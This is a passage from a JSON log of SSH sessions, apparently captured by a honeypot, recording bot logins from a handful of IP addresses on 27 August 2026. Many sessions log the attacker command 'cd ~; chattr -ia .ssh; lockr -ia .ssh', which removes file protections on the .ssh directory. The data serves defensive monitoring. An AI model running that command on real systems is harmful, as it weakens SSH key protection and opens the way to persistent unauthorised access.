  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "014738ec-0386-4163-843c-aa9ffe911e38",
  "name": "solemn-western-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59450,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:34.276367+00:00",
  "ended_at": "2026-08-27T12:04:35.287196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4db1a5-3cda-4ad2-a656-675894b4b3e4",
  "name": "lawful-upland-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:32.455031+00:00",
  "ended_at": "2026-08-27T12:04:33.379847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edbe3741-fa43-44ee-afff-dd246675910e",
  "name": "idle-mossy-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 50798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:22.495934+00:00",
  "ended_at": "2026-08-27T12:04:24.262453+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "8ae10f80-6137-47b5-9cd3-1224e63cb860",
  "name": "ancient-alpine-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:05.985837+00:00",
  "ended_at": "2026-08-27T12:04:07.565543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88438354-dca9-4300-9189-aedaea73ad80",
  "name": "marbled-diligent-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 50810,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:04.690619+00:00",
  "ended_at": "2026-08-27T12:04:05.394822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1f41a3c-dbe5-46b1-8eb5-a6ad2b85ae3e",
  "name": "bashful-gallant-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57434,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:04.569186+00:00",
  "ended_at": "2026-08-27T12:04:06.052124+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2229
 },
 {
  "id": "69d96c72-9a00-40ae-9526-ef102ad8e18c",
  "name": "frank-kindly-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59852,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:49.672515+00:00",
  "ended_at": "2026-08-27T12:03:51.110404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed3d6049-1884-4c01-b7ac-bdb3fdf9b2e4",
  "name": "misty-twilight-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:47.734351+00:00",
  "ended_at": "2026-08-27T12:03:49.023695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bee65c64-e89f-48f1-85aa-d0bc1a21c78d",
  "name": "freckled-gallant-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37618,
  "username": "newuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:03:29.469612+00:00",
  "ended_at": "2026-08-27T12:03:30.457544+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "4083ec79-1a7d-447e-bd30-17840977d2d8",
  "name": "vivid-distant-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37634,
  "username": "newuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:04.464012+00:00",
  "ended_at": "2026-08-27T12:03:06.196009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f6b69ad-0f71-4209-a73b-9586ab7760c9",
  "name": "dappled-ancient-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54628,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:03:02.988728+00:00",
  "ended_at": "2026-08-27T12:03:04.565690+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "8bdae024-2064-4403-89f2-885d31f73d4a",
  "name": "prairie-granite-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37626,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:02.698066+00:00",
  "ended_at": "2026-08-27T12:03:03.933097+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "566b4c0f-5c9b-4d59-88bb-f14dc8a43f2f",
  "name": "daring-deft-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37936,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:41.011216+00:00",
  "ended_at": "2026-08-27T12:02:43.033070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "645b2e65-e978-442a-930f-aaeabc38df9f",
  "name": "russet-ancient-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54644,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:37.521249+00:00",
  "ended_at": "2026-08-27T12:02:39.508135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5493d2e7-4e58-45b0-a624-0fa3d82467be",
  "name": "whispering-muted-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55178,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:12.460990+00:00",
  "ended_at": "2026-08-27T12:02:14.615074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2214
 },
 {
  "id": "ff5a7f90-82ae-445e-abcd-3a34f5b2fea4",
  "name": "arctic-vernal-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59390,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:07.645167+00:00",
  "ended_at": "2026-08-27T12:02:08.629014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "9dc33e9e-6f0d-4d60-940a-94ecf7d2212a",
  "name": "calm-slender-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 39344,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:01.018121+00:00",
  "ended_at": "2026-08-27T12:02:02.890480+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2217
 },
 {
  "id": "0fe50b1e-b29e-44ce-9f27-05b0b054f9f2",
  "name": "tidal-rambling-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 53516,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:57.742331+00:00",
  "ended_at": "2026-08-27T12:01:59.516001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b80db9f3-99db-4651-b0b4-e9509ad6bd0b",
  "name": "keen-somber-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 53502,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:55.710461+00:00",
  "ended_at": "2026-08-27T12:01:57.156269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8b5b1f7-985f-455c-897b-93f738cc92be",
  "name": "barren-blithe-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59414,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:50.046578+00:00",
  "ended_at": "2026-08-27T12:01:51.729475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0abfd767-a703-4ead-b8f0-31545e8e06bf",
  "name": "gilded-tender-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59406,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:48.495024+00:00",
  "ended_at": "2026-08-27T12:01:49.139000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ac0de0f-d884-4efe-8f73-d57828124d90",
  "name": "oaken-subtle-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 39362,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:44.181600+00:00",
  "ended_at": "2026-08-27T12:01:45.933458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9eb4222a-9c43-4925-8294-507bf7cec108",
  "name": "lunar-vaulted-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 39356,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:41.614716+00:00",
  "ended_at": "2026-08-27T12:01:43.494834+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2c5cdfc-67aa-4c21-b0e9-b364bc081355",
  "name": "glacial-diligent-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 54546,
  "username": "web",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:01:29.961194+00:00",
  "ended_at": "2026-08-27T12:01:31.230450+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "cea82a4d-f675-4ee9-8a87-3033d10dbbfb",
  "name": "wooded-gilded-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54564,
  "username": "web",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:06.075675+00:00",
  "ended_at": "2026-08-27T12:01:07.824013+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d2b2667-430e-464d-8694-8c747297d5b9",
  "name": "velvet-loyal-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54554,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:04.130265+00:00",
  "ended_at": "2026-08-27T12:01:05.555064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53b84977-5d1f-495c-9108-74efdc695480",
  "name": "primal-early-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41662,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:11.645160+00:00",
  "ended_at": "2026-08-27T12:00:13.363660+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396",
  "name": "cosmic-subtle-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 54752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:01.262277+00:00",
  "ended_at": "2026-08-27T12:00:02.719823+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "e1fa51d8-9fef-4b9a-be27-f43984500b82",
  "name": "granite-eager-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 56422,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:00.688825+00:00",
  "ended_at": "2026-08-27T12:00:02.199792+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2201
 },
 {
  "id": "7b3c1ac6-0fbe-494a-a1d1-ce47a88af53d",
  "name": "jolly-autumn-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 36482,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:48.336665+00:00",
  "ended_at": "2026-08-27T11:59:50.022368+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46c3921e-8162-47c5-9af8-eb39b3302217",
  "name": "knotted-hazel-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36874,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:46.737085+00:00",
  "ended_at": "2026-08-27T11:59:47.402414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "526151f3-fbba-47e2-8a5c-03def18810bb",
  "name": "woven-knotted-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:44.878494+00:00",
  "ended_at": "2026-08-27T11:59:46.136910+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2af69363-90b8-462c-bf3e-f82b222e2eab",
  "name": "brisk-seaward-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41676,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:44.652421+00:00",
  "ended_at": "2026-08-27T11:59:46.578851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90d3daf2-43a3-43e2-88a2-35b7360d1a22",
  "name": "vaulted-gleaming-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54758,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:37.915882+00:00",
  "ended_at": "2026-08-27T11:59:39.007733+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d092b50c-e976-4a30-89ce-7cb84ef19492",
  "name": "wooded-autumn-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:36.069921+00:00",
  "ended_at": "2026-08-27T11:59:37.261014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdc83405-d69b-4c4d-97a4-88a93d5b90cd",
  "name": "foggy-hearty-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55200,
  "username": "ben",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:59:30.677901+00:00",
  "ended_at": "2026-08-27T11:59:32.432505+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "82b21af0-6317-4ca6-aa7a-7690d2eea1b4",
  "name": "nautical-glassy-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59356,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:59:14.999710+00:00",
  "ended_at": "2026-08-27T11:59:16.189008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "86a4ec53-f973-4dbb-8614-53cf64acc24e",
  "name": "deft-coral-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36256,
  "username": "ben",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:07.008213+00:00",
  "ended_at": "2026-08-27T11:59:08.098293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1beab54-cc7a-4595-b7da-b7c70b5458be",
  "name": "grassy-nautical-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55210,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:05.097474+00:00",
  "ended_at": "2026-08-27T11:59:06.488055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e21161f-7236-4769-a374-e3f221f62d8b",
  "name": "faded-gentle-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59376,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:58:57.037175+00:00",
  "ended_at": "2026-08-27T11:58:58.644797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d003f5fd-a94b-43d3-87ea-606eb4fad8d8",
  "name": "lawful-placid-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59370,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:58:55.300119+00:00",
  "ended_at": "2026-08-27T11:58:56.113424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e00d555-5ed4-4392-8b86-81cdb972bf6e",
  "name": "lonesome-sleepy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 33432,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:03.193437+00:00",
  "ended_at": "2026-08-27T11:58:05.147503+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2190
 },
 {
  "id": "d53cdf74-acd9-4bbd-83fb-b23108eed00a",
  "name": "craggy-patient-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:00.026031+00:00",
  "ended_at": "2026-08-27T11:58:01.921668+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "e559eeb1-efb5-48b8-885e-353e483b85ff",
  "name": "deft-jagged-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55462,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:44.097534+00:00",
  "ended_at": "2026-08-27T11:57:45.591452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bb921fe-0e4a-40f3-9136-3b556a3caeab",
  "name": "leafy-daring-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:42.619674+00:00",
  "ended_at": "2026-08-27T11:57:43.509520+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d83ec82-8178-4a96-b367-0d52f50e51ab",
  "name": "seaward-placid-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 33460,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:36.702068+00:00",
  "ended_at": "2026-08-27T11:57:38.387008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73cd0e1b-a8e0-4021-977e-f7a813a2384d",
  "name": "canny-wiry-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 33446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:35.322490+00:00",
  "ended_at": "2026-08-27T11:57:36.008397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2d1fa421-ff93-4aed-aa57-06924028b8a9",
  "name": "inland-tranquil-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39950,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:57:29.746128+00:00",
  "ended_at": "2026-08-27T11:57:31.557802+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "aae1788c-398f-4c09-8467-32195a70a5c0",
  "name": "amber-tidal-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 45858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:57:25.006006+00:00",
  "ended_at": "2026-08-27T11:57:26.484519+00:00",
